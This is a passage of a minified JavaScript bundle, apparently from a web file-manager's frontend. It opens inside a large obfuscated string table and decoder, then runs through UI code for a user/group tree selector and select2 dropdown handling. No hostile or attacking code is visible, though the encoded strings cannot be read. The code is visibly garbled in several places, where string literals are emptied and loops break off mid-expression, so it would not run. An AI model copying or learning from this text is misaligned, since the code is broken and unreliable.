W=","msFdVCo/WQC=","vmonWORdPSkeW5G=","ESoBAH/dSa==","otBcThS8WQ0plNG=","yuyPW4zi","shyAWQnh","bq3cQSoO","p8orW4/dLtm=","WRpcS1FdQNW=","lmkSWQPXDW==","W7q9WONcJ8k+FKa7W53dSa==","b8ogDmojW5hdL8osW7a=","WPneWOSlhG==","F8ktWO/dHN8=","W7uHkZhcRW==","W5S2WR7cVSoi","cCo7imkFBG==","W6GkW7P0uq==","xrJcMJPRu8kWWONcOeldKhxdNmoSvmoNW4u=","W5GJpJ7cIa==","eXdcOSoaW5hdMCkYW5GEBmkO","W6tcPXRcOsO=","WPLLW7X2WO4=","W74blIZcKG==","m8k1WPzOWQS=","DwuUW7zi","fZdcTLCi","oSoJqHW=","gSoWBsJdMq==","WRBdSKldPxe=","W7CVWOdcImo0","hWtcRCo/W78=","sJmfkCkJ","fsSxeSkYWRhdNIVcVmo+zmktlmoQ","W40cWPBcV8oJ","jrddLCo/WOe=","W64ZeYVcOW==","WRZdPM1+mG==","DfSXW69F","W4ZcMrxcIJq=","wZRdVmoOpKRcMG==","s2qSWQHb","WR3cGSogocm=","W6lcLc7cOaO=","amkUWRf+qa==","WPZcNMRdP0q=","msNdKCoeWPi=","aGRcHCoEW70=","bWNcGCoiW5K=","pSomnmkdAq==","WQr0W47dThG=","gvuem0W=","sSolWRJdGCkYWQC=","WOFcI1pdNhq=","WQpcMSoNcLC=","WPhcGNRdIgm=","W6RcV1tdQKFdJ8kaWPPuFSoVW7ldUcRcUxxdOa==","WRXaW6H9WQO=","W4HuoxhdKq==","s0qm","nbe7amkt","WP3dG8kWaCkJ","WQDGWRWSpG==","W5TUDcSQ","d8k3WRnODW==","p0O3gMm=","WRdcSKddVhq=","jmo4yftcJq==","Amo1W4S=","W4K4WQhcKSoL","taddM8o3na==","WRBcMmoMdZS=","WOBdV8kkaSkB","dKSTixC=","bZmWrca=","pCk2WPzgu0ntW58=","W44UW4rFxq==","ebCenmkP","W6SHW6PUW4DuWPZcGSojWOTNEJ1JWP96aSocW4C3","kXuNemkDuHzA","WOldOwHyfG==","dSoYW5pdHd0=","WO/cIx3cHxPnlCk0mSkKWOO=","WPznWO0dgq==","kCoyW6BdSaa=","vqWCgmkj","c8o5k8kMs8o4","WPJdS2JdGxO=","n8kMWO8XW6G=","kmoiW47dIGW=","gbqxm8k7","ptzt","gHxdT8o/WRy=","B8kgWP3dGHqGt8kaWORcRSocbwxdVW==","FG48gmkRoaa=","WOXeW6ZdIu8=","WQhdGwjNla==","iXKRkCkO","fCkuWOzjWQy=","WQlcGSoNnNW=","rSo8WO/dQSkf","mY41jYW=","eSopW7ddUcW=","gCk9WRjMyW==","kmo8WPBdSSkH","AJe6nmk0","fJtdM8ogWQe=","WP/cR8o2","WRNdQdBdULi=","oCk9WQHTya==","WR7dM1LMia==","WPZcSColnNa=","yWdcKYOH","W50DW61AW7i=","k1upnhtdHCoai8owWR1eWOfMtNhdG8k9","adRdKmoKWRm=","W7xcUYlcMX4Qu0W=","W7KBWOhcQSoa","WOJcRCodmfO=","WQRcHCoklIK=","hmoVvSksW70=","m8oGWPBdNCk3","WQ7cSahdPf3dN8oCWOep","iJ0IkmkF","W40bW7TSW4C=","D8oLEWBdQW==","W7LzxrKA","WPfwW6ldSwL8","WRVdHNrYma==","W78FpbdcNa==","v8oGWQhdTmkG","W5JdSZldVuJcNq==","kCoKW4NdSqRdMSkoW4uI","aZy7lJC=","WP3dNSkCm8kb","W6hcSc7cTdW=","W4PfWRW=","hWNcN8oNW78=","DeqzW7b5","hIiAhHC=","oI/cILWJ","WQdcHaRdKWm=","WOPvW6L6WRa=","W6VdNgBdS3PWpSkNoa==","WQXGW4ddJ1u=","WP7cKmoAfxG=","WOddHCk1gSk6","aSkwWOfCCW==","sWZdUwxdRW==","aSonWPBdLCk1","WPJdPSkekSk9","qhu0WQfa","W5jNDdSi","q8ofwWVdKhLRDmox","WRJdNKddNLG=","zCoWzG==","W57cTSk0jwFcOhpcGKZcL8oiiLGjWQi=","WRvfWP85fG==","lmoAzgtcQq==","WPlcTrldTbq=","DCoBW6HRkSo+WP/cT0O8jCoJlHZcUq==","cCoTW4ldKW8=","aYGZbHG=","ueCNW49y","W5zmvYay","WQddOgrqnW==","xI7cKGSD","l8kTWQDzCG==","aJeBfSk+WPJdGW==","W6aPW4LUW4i=","xmoxWPddUSkF","nY8bo8kO","FahcKais","jJaIFYm=","W7u3WPZcMa==","WOdcPrFdMH0DrSokxSoS","orePcSkn","lCoUWP3dLmk3","FCoyWOtdPCkd","oSoYx8o1W64=","omoUiSk9wG==","W4xdU8oP","W48LWRRcN8ox","naldM8oqWRm=","WQHyWOGifq==","kHJdISopWRC=","kXZcSMyM","e8ktWPjJDq==","hSowDXBdTG==","WObGW6XDWRi=","fCkdWQz8WO4=","W69mW69Cdau0W4uwWOKNWQ4lW73dJNlcUCkgjCoIW5nHW6THdqz/lb12jCoudCohWQNdP8oZsxxcULSUW4xdLtyWqXu2W5tdSXJcRmoZsmkhDdxcTmohFvP4W7P3WQFcImkkmaZcOdCIWQtcTmoLoMFdRCoGW6CLpvpcVczWWOZcNWtdUmkQW7mAWP4KySk8mG==","hmoGuhpcMq==","WRLlW5hdM24=","W7xcOtpcHJWNy1brA8o2","fSoHWPtdHSk2","B8kXWRhdKL4=","EmkxWOldT3a=","BmoDWQBdQ8kp","WQdcNf3dPh8=","kbCWBa0=","nCobqSkgW6K=","W6qjW6TcW6O=","W5aDbHW=","n8oFAGxdIq==","b8oBW5BdTJi=","W4eset7cQW==","mSo6W77dNGm=","ECkgWORdLM85tCkaWPm=","W6hcHaJcKXW=","g8kLWQXyCa==","mZ4dxdy=","W6Deah7dPa==","WRZcJfZdReK=","eYirgq==","W7lcOaVcUqy=","f8oexq==","WODqW4nEWOfbyG==","umofWPFdGmkfW5j/rs0=","hmoVW6VdLsW=","WOddNSkKEYu=","prdcMeOAWPe=","W4yzoa/cJa==","WPNcUGtdQHa=","jr8Seq==","WPBdR0ZdThlcN8o6kCks","imoUW5xdUZG=","WPVdUmkWoSkG","WQNcJCoqiaG=","acKvhSkS","lNqmcLi=","fIhcPmoaW5O=","kbuX","W57cGHFcQcG=","W49WjNFdJG7dNb7cNa==","aSoUW54=","vCoxWORdLSk+","g1rC","ufaiW7TAWRBcILpcV1tcV8on","ocecbCk9","AHulbmkQ","wveiWO5n","WP7cHmolpbK=","W4lcUcNcIau=","WQW+id8=","WR7cOeJdV2O=","fCodra7dHG==","lbGGhmkdCbPyWQ0yWQG=","WR7dOLH8aG==","WQpdMffTnG==","lSkWWOjWWRy=","cmoMBmoXW7G=","W49QlKZdRqNdIqm=","mSoly8oRW74=","ArGIcq==","kmo4WPldHmkv","W6SucXtcKmkulty=","u8o/W5X0lq==","WQRcPWpdRsW=","qMu8WQDy","xbNcLI8IwSkT","bCoewhZcNG==","omk2WO91","p8oLW7RdOsu=","g8kWWRv0DW==","pc3cMKaF","eSoRW6pdHJ0=","kvuIdMG=","kMGcfLC=","s8obWPZdPSke","W5vnstyj","nCoOW4ZdQIi=","pSoTASksW5S=","W7BcPchcTcy=","seCpW7TjWRS=","W5hcLHhcMGO=","lmonEmoF","lSk2WP52xq==","WRbOW5DJWQu=","W53cIuxdVIa=","vIqRbCk5","W6JdGqFdT2S=","WO7dRSkTEZC=","WPfwW6pdQ2O=","WO3cV8o2mrpcRJ7cJG0=","seqjW59u","j8oSW4xdTrC=","FJFdO2BdJG==","DIK1bCk9","tvmu","WOzwW7u=","WRXFWQ0mnIWBW7WrW50k","WQ52WOSlma==","WRX6W6HPWPy=","W5PPp0C=","lSoIqb0=","WOXcWPqNoW==","a8kZWRrVxa==","omoGyCkUW6m=","oCoZxYJdPq==","oWaSoCkc","W4tcVHVcOdS=","umopWRRdK8kJ","le8CpK/dJCkfj8oE","nJ4Hzdm=","W67cONtdLW8=","umo2WOddQmkh","WOfhW5S=","iCoQCCkqW4u=","iHDV","W4Hfp3FdRG==","emoYW5BdLWy=","WPpdUKBdMhNcLa==","WQFdT3jymq0aW7BdPKvUWOZdGKi=","tXJdQw3dOq==","hSoXEwlcSG==","gJ7cLwOy","Fa42gCk2","mSoyDuxcKa==","srNcIdK2","tCo7yH7dTG==","W4eoW7Pyta==","zmo3W5ntdG==","W4fxuXW2","FCoZWQFdRCkN","W4byqs5FW7LoWQ/cLqr5W7fBrgG=","W4jxihZdOa==","kHSiwshdOW==","oSoBg8kIAa==","WQ7cN8o9jfa=","bmorWQVdS8kuW6XhWP5fWQ9ebmkwW45MWO5Ql2iF","haZcMSo3W7e=","rqddT8omla==","gSoZFmoDW6C=","x8kmWP7dUNu=","tZNdOmoSkq==","W7S+WR3cHmoB","vuqzW69S","B8oAWR7dTmkk","emo1W63dTam=","oCkLWO12WQyf","kCk5WRXpWPm=","o8ogrLNcSW==","nqOLcsK=","WO3cK8oIn08=","pmoQpSkKxSoOcG==","BSo5xItdQa==","ibZdImojWOK=","hIibgq==","WPlcVGBdMbq=","emobz8k9","W7uHgqNcGG==","emo6xbBdMW==","ACo2DtddSq==","umobWOBdOmka","W5T3gLxdRa==","oa0NiW8=","wYNdVCoYmq==","WR7cRmoTeb4=","WQBdPSk1gSkG","b8o6uNZcHa==","W73cL8kavg3cLCojpwtcSSo8WOnGW5LdE1pdLmkqrSk1WO7cGSorp1vhuYGKjuqlW6m6fh4zWPJcPK3cGSkemCoqyfeRW7/cPSkmWRNcKYKkWQD9WPFdOmo1W4hdS8ovWQLPDmkkcmoWAWhcO8oUW5pdL8kIWR/dSmoxjGesW6dcUMlcU3eAfSoMmxFdRHRcR8kqW7usbG==","WQVdJSkwj8kb","uSocWOhdOmkY","fCopW4JdNcK=","WQNcU8oIfLe=","WRfwWP8SmW==","pmoFWQVdN8kvW6W=","W5GgWPBcJCoY","yCoHWRRdNmkf","AcNdT8oGpq==","WQRdRNvYkaC=","WOpcQLJdKLG=","pCo6pSk4umo5gW==","qSofWRtdQSkp","vSopWRldGSkVWQhcPG==","WQHuW6rlWOW=","WQtcL8ovbuO=","WRBdTmknpSkgFvpdU3OzW6tdNhOWWRqPWOb5emoIW70=","W6iJWQBcISoP","W7tdLbhdOLi=","nsFdMSoaWQu=","smkmWRFdMLq=","FIJdIfVdMq==","y8kuWQNdNuG=","ga0rW65yW63dSH/dGdJdMmkfaZ9T","WOVcK8o4j1G=","cmoyBsFdVq==","eGCgamk/","oSk0WQrEBG==","CmoFWP/dU8okW7LRxIxdLW==","qYhdTSoVjG==","WPtdSeVdG3JcN8oO","otWfuthdV8kbW68=","omo9qa7dNa==","bCoaj8kjEq==","WQtdPNT2iG==","ld8cd8km","W5/cOtFcJX8=","BColW4HQjq==","rqxdHSoceG==","mmkAWRH4vG==","FtBdIwRdIa==","WQ7cHZpdKcq=","WPrlW51GWPq=","WPdcTdhdNra=","vYOEpSkR","W7NdSc/dU2u=","i8kUWRvuya==","W7xcMshcSrS=","F8kXWRBdLvq=","WP/cM8o3kK0=","bCoDySkPW6e=","s0aTW610","W67dQIldOv/cIW==","cXlcNfaBWPe=","wJRdUCoi","WQlcNctdPa4GESo1","W67dOcm=","WPJdJen/pW==","CCkLWRxdN14=","jmkiWPPaWOO=","xdeBm8kCgsf0pa==","W5uuW4XNW5i=","WPBdTutdJ1hcMmoVna==","WPVdOSkFDWO=","hHONcCkV","W6yMW7biW78=","uSkThmkZWR3cPmoaWQtOR5VMSzBLVkZLU5pVVApLJ7FOGiVNMR7LJiZLM5xdO8kEW6JcLaPTcmoRWRVdN8o1nSokp1RdGSkzWOShz8kU6zwn6k6+6k6k5RkjW6Xi6k6e5lM95P+G6k+A776T5PEl5Rgw6ko06kwc5P2IWPHmkSkSdmkyWRbBW49yW7HqWQze56AO5QYc6k+h6zAWpIRORB7MSQpOO6VMI5FNU4VVVQNMNkJNUABMJl7MN4dJGB3ORz7KUklPLjRORiRVVAJMI5pNVOBNQRROO73NP5BMRBhORB/PLjZcI1C0W6K+WOubW4DhWPtcRhrot+wFNUwESEMuGEITTSoiFUAiUEs4QowkRUISKoAXR+EzK+E/MEMJOoAjS+I3VEA6VokaKUkbImoVptPEWPbFWOFdQvZdPIZdMSo3WRNdN8kOW6lcIupcQMCrWR/cOSkIdItdM8osWQhdJxbfnUEmTowIL+s9ToAdRCkmWPC=","WQldP3DBia==","CeGpWQXv","W6npaMldGG==","WPddIxfLkrC/W5VdLG==","FsZcPG0H","W5JcLN/dTce=","W47dObVdU0u=","W7i7WPZcJCo+yfS=","xCo+zJ3dR1m=","WOjeWQKans0=","W4dcUaZcQq==","WPRdH8kAoCkz","tK0xW413","yCoSWRxdLmk+","W6i1W5XfW4i=","WP3cPmohfJy=","W6y4da3cRa==","xmkVWO7dUNa=","W5ShW5DnzW==","qYJcUbGZ","hvKFlx7dKCkAa8owWR1eWOe=","Br7dJG==","hmk/tGddIMbQCa7cNCk9","W7GTW65y","faFcV8o4W5xdGCkJW50hzCkLWRZdSCkLpW==","cw0FgN8=","kCoeDtBdUa==","h8oLz1pcQa==","uwymW7zs","WRXfWRWrfceRW6a=","WR3dRfxdULq=","m8oeW4NdNXi=","pSonz8ojW4a=","WOHGWP4zkG==","bSoWWPhdK8kx","W7G2W7DmW4XuWOm=","qgyjWQrC","csVcL2yQ","gmoIy8kZW5O=","kCkQWQbTWOG=","W5PYlLFdHa==","WOldUhddLwW=","p8oBs8kdW7C=","W7qkWRZcMCog","WODzWPyXna==","W64vW71gW7O=","oSoSACkMW4S=","WOvBW7JdS3u=","WPBcSrZdMsy=","BHuZgmk7jq==","W7uBlZJcIa==","oCoerLJcPW==","y8k2WPfCg3voW53cKCofcIe=","naVcH0ih","W6vhpNRdLG==","BuCtW4PO","zMGzW6X4","oCo+sGpdIY9V","ptuzh8kr","tHJdRfddLW==","WQX8WR85fW==","W7S1W4zxEq==","zb7dQ3JdGq==","WO7cS8ogeGq=","W4rpb2FdMW==","WPGWAG==","oG0ZfCkd","W6NdVaxdHw0=","xb3cRauJ","AduwgSkV","bSo7WPBdGmk0","pmkYWPLOWRe=","WOdcM8o1d1C=","gSoyW6ddVHS=","W63cNtlcJdy=","bcydbmk8WO7dHq/cUCo1rmkugCoPrq==","W780W7jcW58=","eSkiWPrhwwjoW6ZcUG==","gG/cK0aVWPiZcq==","dmkjWRLwrW==","b8oby8kMW78=","dr0EiZ3cVCoj","ErpdTxtdSW==","WQzoW4n9WQe=","c8oHBmoTW70=","W6isW61MW7W=","W6GxWRVcS8ou","WRZcHmoEce0=","hcuvBH4=","gSo8C8oGW7i=","W4RdOJpdNLG=","W50IhJxcHW==","nYiDgCkX","mmo+qtVdGsvKCt/cPmkDFa3cOa==","w2uiWPz9","kCkQWOLWCG==","W5hdIs3dKu4=","gSoqWPtdOCkV","WOlcLbxdUXC=","W6xdGIBdLvq=","WONdVCk4wbS=","fbKbwtu=","WOzdW63dT3K=","oqFcR8oUW5G=","pHewb8kU","W4VcSehdNMVdJW==","aY3cH8o7W7W=","WORcKZFdIHC=","umoyWRtdQmkH","mmobFmoDW5ZdRa==","dmo4W6xdSGZdU8kmW4u=","pCo4vXZdMG==","hmohA8knW6a=","W6SZW714CG==","iCkYWOPsqN4=","dCkcWPDsWO4=","W47cJ2BdSd8=","kSoAWPFdO8kW","yColW7D9o8oKWOtcMG==","qNmVWPvM","mSoxF0pcUG==","WONcRmo7g3S=","omo8CLNcRG==","fIOGk8kU","lHOKb8kTtGDqWRaPWRuBoc3dHW==","i1Kap2/dIG==","csaRc8k4","AmoVWPVdL8kS","lhO0gvC=","W4WIoZ3cUSkUarGRW6C=","W7PLFIag","fZmB","oCk1WRnsza==","k3GAkx0=","W6ZdJs7dMhu=","htSdnY4=","WRxdHKnDda==","bSo5W6xdUs0=","W4yMWPxcK8ot","gSoNaSkfrG==","W4HWo1/dIq==","pSk+WOvWta==","WR3cKCobcepcVq==","aSoFz8kXW6yZ","W6BcTdlcLJCWvajDDCoGbwea","hWVcVCoiW6m=","WPfJWQCRkG==","WQ9PW6tdM1G=","zmo5vq3dTq==","umkgWOJdVxi=","W6ZdIa/dOLO=","WRddT1ZdMv8=","W4xdJqhdULO=","pCk/WP1ytG==","DSoNEZpdPvnm","Bg8HWODw","W5VcLZxcOH0=","nCoeW7NdHa==","omoRvbNdQq==","W4RcUuhdGJK=","k8kmWR53WO8=","iuZcPCoIW5tcNmksW5a9x8kaWOVdPG==","kXitgSkb","iNG+d3u=","mHBcL8o6W6i=","u2uiW4Po","WOfAW6ZdUW==","oCouzCowW40=","WPVdSeZdMvq=","aZOclCkL","WRHxWQKmnIW=","aSo2i8kHvq==","e8oRymoCW7G=","W4WkWQ/cNmoE","hmosvt3dGa==","dfmAoNy=","nbtdJq==","oHOVoCkU","W6GGWO/cKCoKDKOV","W7NcMLldKIG=","hJ7dTmoCWOC=","W5/cPYJcJrO=","o8o8k8k6emoIawpcKSk0kmorvLFdIHz2","WRtdHCkDwWu=","WP3dN8kavH8=","erxcU1eaWOeUe1ldQq==","kHhcLhqN","xIBcTI8T","ggySmgi=","nWtdImogWOa=","dSo5WRtdKCkt","WR5MWPCKgq==","fdO2oSkn","WRRcH8oxeXBcTmokc2pdPa==","FWhdHSoqmq==","zcRcJZ8G","kt/cJLu3","CX/dSuVdLa==","W4KfW7bcW74=","wCkKW5RdOGpcOmoLWRHkBhC5zW==","cmocBCowW7a=","eSkkWPv7Ba==","WQnrW4n1WQe=","WP3cH0JdHN8=","WQDBsHtdNCodExvn","WRfKW7JdQge=","WOldHmk+fSk/","gCoxWPVdPmkc","oSkZWOXdWPu=","aXCyjCkv","ASoqwtddIW==","WPxdM8kFqGK=","WOVcR8o2","WQ/dPMxcPMJcO2JcIHRdHCooW6KFWQ9pxSoOhmoizGFcPdldJmkmWPDPWPzXW5LiF01qdd7dHY4pW4VdU8o2vW9rWPhdSNNcNvxcH1bwW6/dQ8kXWP3cQZHptmorW5LgWRG5c8kCW7jcqSkcE2bTW7pcJK7dHXDqWOVdP0FdKJlcS8koBmkQbWeMhYNcPNBcSCoA","qmojW7H9ca==","WOBdLSkKcSky","srFdI27dQW==","WOJcG3FdJhHa","zX/cJW==","smoEWQ/dQCkL","WQpdVmkHrtu=","EmoEBcS=","W4aRW71kW4D1WPdcK8og","kIpcVSo6W5u=","WOlcPY3dScW=","WQNdM8kKomkJ","ASkuWORdG14dvmkj","mHRdTSopWO0=","abtcT2mc","W7hcM1ldQam=","aCoTW4RdGdO=","nWihwau=","cwGRneG=","WPvhW5S=","i8otW6pdQIq=","W6yRWPJcUmo9D0i5W5RdQHvQWPyHB8kPWRfPcWW=","WP3dH8khFqi=","WQtcHmoQahu=","AqBcMbOP","f8orWQFdGSoxW6nlWO1kWQHunmkgW6PZ","W51oDJGAW7zmWQ0=","W6jNytSK","o8kAWOXPEG==","bCozz8kMW7y=","bmoHW4VdQcRdT8kCW4u=","lSooz8kMW7S=","WRLBW4H7WQS=","l8o3xmolW4C=","W6XTdKldJW==","r0OeW79wWP/cL3hcPKtcPq==","CJJcNIyF","ASo0yrVdTvHUuSo9W7ZdL1Sghq==","W7iYW595uG==","jcldImoLWRa=","tZlcIaOw","kmoKrXZdMJW=","sY0JcSkp","W6SziIJcQa==","DCorsdZdIa==","W6RcIghdVd4=","cmk6WPnFzq==","f8oxW6BdQYtcG8kqma==","mtajtZa=","fCkfWQzGWQG=","mmorW7tdQHG=","r2SRW5f8","W7NcIuhdMYy=","ACoWW6bggW==","CSoGWRxdUSkG","kmkNWQzFDa==","WONcPrhdLZG=","WP5dW4fvWQ0=","hdFdLCoDWQW=","WPDdW4X7","W7SdabZcGSkFpbyyW4W2vq==","n8oyW53dNGq=","WPH+W6RdUwy=","bmo7W6ZdTcW=","WOVdP2X+jq==","W7hcJ1/dTqO=","WRXFWRqQnYy+W70F","WOpdS3ldSwK=","W5vxwci8W7PCWQ0=","jSk4WOaBvgniW5/cGq==","WRLjW4nXWOq=","dc7dICo4WOSYW4NcRNW=","f8oww2FcNG==","ymoNWRtdL8kY","ca3cJMeu","a0Sdp1y=","W6SYW590AW==","WPNdRmkauZS=","W7hcLq3cHJ0=","qmohWQ7dG8kI","aCkLWPXeCa==","WPzhW4m=","WRJdT3n5lW03","WQ19W59HWO9EAdxdTG==","hCoLE8otW6e=","i8o5g8kFEG==","WPNdR8kBamkQ","W755h0FdGW==","WOhdH3DKna==","xsFdV8oejq==","ymkfWQNdIxe=","dq3cQSkJW4BdL8kLW60cB8kQWPRdICk5nG==","iCoUsmkvW4e=","W5jAyaO/","W70uga7cGmkjoGalW4C8","DmokWRhdOSkN","erxcSKyeWOC5dG=="],p=(l=d,function(e){for(;--e;)l["push"](l["shift"]())}(166),function p(e,t){var h,i=d[e=+e],n=(p["pRxUyK"]===undefined&&(h=function h(e){for(var t,i,n=String(e)["replace"](/=+$/,""),o="",a=0,s=0;i=n["charAt"](s++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="["indexOf"](i);return o},p["ytASuY"]=function u(e,t){for(var i,n=[],o=0,a="",s="",r=0,c=(e=h(e))["length"];r"+e.data+"",o.$dropdown.find(".ztree").html(e))})},"itemIcon":function(e){var t;if(this.pathIcon)return e.userID?this.pathIcon(e.avatar||"kod-user"):(t="0"==e.parentID?"root-groupPublic":"root-groupPath",t=e.icon||t,this.pathIcon(t))},"dataFilter":function(e){var t,i;return e&&e.data?(t=this,e=_.filter(e.data.list),i=function i(e){e.isParent=e.isParent||e.hasChildren||!1,!e.isParent&&_.includes(["all","user"],t.selectType)&&(e.isParent=e.hasChildren||e.hasChildrenMember)},this._each(e,function(e){i(e),e.children=_.filter(e.children),_.isEmpty(e.children)?e.children=!1:this._each(e.children,i)}),e):[]},"treeNodeRenderAfter":function(e){var t,i=e.nickName||e.name,i=(e.$ico.html(this.itemIcon(e)),e.$node.find(".node_name").html(htmlEncode(i)),_.pick(e,this.keyID)&&e.$ico.before(' '),e.groupID&&"-"!=e.groupID&&"1"!=e.groupID),n=e.hasChildrenMember&&("user"==this.selectType||"all"==this.selectType);i&&n&&e.isParent&&!this.isSingle&&(i=' title="'+LNG["explorer.auth.tabUser"]+'" title-timeout=100 ',e.$ico.before(' ')),e.groupID?(t=_.get(e,"metaInfo.status")||"1",e.$node.addClass("node-item-group group-status-"+t)):(t=_.get(e,"status")||"1",e.$node.addClass("node-item-user user-status-"+t)),"0"==t&&(n=e.$node.attr("title"),e.$node.attr("title",n+"-"+LNG["common.disabled"])),e.nodeAddClass&&e.$node.addClass(e.nodeAddClass),e.disableSelect&&e.$node.addClass("node-disable-select")},"changeForTreeNode":function(){var i,n=this.zTree;if(n&&($("#"+n.setting.treeId+" .tree-node.this").removeClass("this"),this.nodeSelectStatus(),!_.isEmpty(this.listData)))return i=function i(e){var t=e.userID?"userID":"groupID",e=e[t],t=n.getNodesByParam(t,e);_.each(t,function(e){e&&e.$node.addClass("this")})},this.isSingle?i(this.listData):void this._each(this.listData,function(e){i(e)})},"changeForResult":function(){var e,t=this.$(".clear-select"),i=this.$afterDom.attr("placeholder")||LNG["common.select"]+"...",n=''+i+" ";if(t.removeClass("hidden"),!_.isEmpty(this.listData))return this.isSingle?(e=this.listData.nickName||this.listData.name||"",i=this.itemIcon(this.listData)+htmlEncode(e),this.$selectBox.find(".kod-select-title").html(i)):(e=o(43),i={"list":this.listData,"itemIcon":_.bind(this.itemIcon,this)},e=this.renderHtml(e,i,!1),void this.$selectBox.find(".select-list").html(e));(this.isSingle?this.$selectBox.find(".kod-select-title"):this.$selectBox.find(".select-list")).html(n),t.addClass("hidden")},"listDataFind":function(e){if(!this.isSingle){this.listData||(this.listData=this.isSingle?{}:[]);for(var t=e.userID?"userID":"groupID",i=t+"-"+e[t],n=0;n"),"string"==typeof(o=t||{}))for(var n=o.split(","),o={},a=0;a':i+=''+e+" "}),e.html(i)},"dropdownPositionAuto":function(t){t&&t.dropdown&&(t.dropdown._attachPositioningHandler=function(){this.$container.parents().filter(function(){return $(this).canScroll()}).on("scroll.select2."+t.id,function(e){t.dropdown&&(t.dropdown._positionDropdown(),t.dropdown._resizeDropdown())})})},"templateItemRenderHook":function(e){var t,a=function a(e,t,i,n){t&&e&&(n="select2-"+(n.$element.attr("name")||"")+"-result-",(e=e.attr("data-class"))?t.addClass(e).attr("data-class",e):t.attr("data-class")&&t.removeClass(t.attr("data-class")).attr("data-class",""),t.attr("data-value",i.id||"--"),t.addClass(n+i.id||"--"))};(t=function t(n,e){var o="_"+e;n&&n[e]&&!n[o]&&(n[o]=n[e],n[e]=function(e,t){var i=n[o].apply(this,arguments);return a($(e.element),$(t),e,this),i})})(e.options.options.resultsAdapter.prototype,"template"),t(e.options.options.selectionAdapter.prototype,"display")},"templateResultAfter":function(e){var t;return e&&(t="","string"==typeof e?t=""+e+" ":$(e).each(function(){t+=$(this).prop("outerHTML")}),t=(t=t.replace("$%@",'')).replace("@%$"," "),$(t))},"selectDataMake":function(e,t,i){e.templateSelection=function(e){var t=$(e.element).attr("data-html");return t?$(""+htmlDecode(t)+" "):e.text},e.templateResult=e.templateSelection,i&&i()},"searchMatch":function(e,n){var o,t;return n.text===undefined?null:""==e.term?n:n.id===e.term?_.clone(n):(o=function o(e){var t=$.extend({},n,!0),i=t.text;return t.text=i.substr(0,e[0])+"$%@"+i.substr(e[0],e[1]-e[0])+"@%$"+i.substr(e[1]),t},-1<(t=n.text.indexOf(e.term))?o([t,t+e.term.length]):(t=Pinyin.match(n.text,e.term))?o(t):null)},"selectEventBind":function(i,n,o){var a=$(i).next(),s=i.data("select2"),r=this,e=(this.selectRenderCacheBind(s),a.attr("class",(a.attr("class")||"")+" "+i.attr("class")),a.attr("style",(a.attr("style")||"")+" "+i.attr("style")),i.attr("style")||a.css("width",i.actual("width")),a.removeClass("select2-hidden-accessible"),s.$dropdown.data("$select",i),s.dataAdapter.current),t=(s.dataAdapter.current=function(t){e.apply(this,[function(e){e=_.filter(e,function(e){return!(!e||!e.element||$(e.element).hasClass("option-empty"))});t(e)}])},i.attr("data-value")),c=((t=i.attr("multiple")?t.split(","):t)&&i.val(t).trigger("change"),r.selectChange(),i.on("select2:opening",function(e){}).on("select2:close",function(e){}).on("select2:open",function(e){var t;window.event&&"Escape"==event.key?(s.close(),s.trigger("blur")):(t=s.$dropdown.find(".select2-search--dropdown"),i.children().length<=10?t.hide():t.show(),r.dropdownPosition(a,s),t.is(":visible")||n.find(".select2-selection").focus())}).on("select2:select",function(e){i.trigger("change.select2"),c(e)}).on("select2:unselect",function(e){c(e)}).on("change",function(e){r.selectChange(e)}),this.formPopBindShow(n,i,s),a.find(".select2-selection").delegate(".select2-selection__clear","mousedown touchstart",function(e){s.close(),r.setValue(i,"")}),function c(e){var t=window.event;t&&$.targetParent(t,".select2-selection__choice__remove,.select2-selection__clear")?s.close():o.multiple&&_.delay(function(){var e=n.find(".select2-search__field");s.open(),e.val(null),e.focus()},5)})},"selectChange":function(){},"selectEventBindAfter":function(e,t){},"formPopBindShow":function(e,t,i){var n=_.bind(i.dropdown._hideDropdown,i.dropdown),o=$.formPopTarget(i.$container,i.$dropdown,n);t.on("select2:open",function(){o.show()}),t.on("select2:close",function(){setTimeout(function(){o.hide()},0)}),t.data("formPop",{"show":_.bind(i.open,i),"hide":_.bind(i.close,i)})},"dropdownPosition":function(e,t){var i=t.$dropdown.find(".select2-dropdown"),e=(i.position({"of":e,"my":"left top","at":"left bottom-1","collision":"flipfit flipfit","using":function(e,t){$(this).css({"left":e.left})}}),parseInt(t.$dropdown.css("top"))||0),n=parseInt(t.$dropdown.css("bottom"))||0,o=$(window).height(),e=e+10,t=(t.$dropdown.find(".select2-results__options").outerHeight(),{"max-height":"calc(100vh - "+(e=o-(e=i.hasClass("select2-dropdown--above")?n+10:e)<=100?o-100:e)+"px)"});i.css(t)},"selectRenderCacheBind":function(t){var i;t&&(i=t.results,t.listeners["results:all"]=[],t.on("results:all",function(e){i.clear(),""==e.query.term?i.$resultsChildrenAll?i.$results.append(i.$resultsChildrenAll):(i.append(e.data),i.resultsChildrenAll=i.$results.html()):i.append(e.data),t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}))},"selectLanguage":function(){return{"errorLoading":function(){return LNG["explorer.cannotLoad"]},"inputTooLong":function(e){e=e.input.length-e.maximum;return LNG["explorer.pleaseDel"]+e+LNG["explorer.theChars"]},"inputTooShort":function(e){e=e.minimum-e.input.length;return LNG["explorer.pleaseInput"]+e+LNG["explorer.theChars"]},"loadingMore":function(){return LNG["explorer.loadMore"]},"maximumSelected":function(e){return LNG["explorer.canChoose"]+e.maximum+LNG["explorer.theItems"]},"noResults":function(){return LNG["explorer.noSearchData"]},"searching":function(){return LNG["explorer.search.ing"]},"removeAllItems":function(){return LNG["explorer.delAllItem"]}}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(4),n=(n=n)&&n.__esModule?n:{"default":n},a=i(24);var 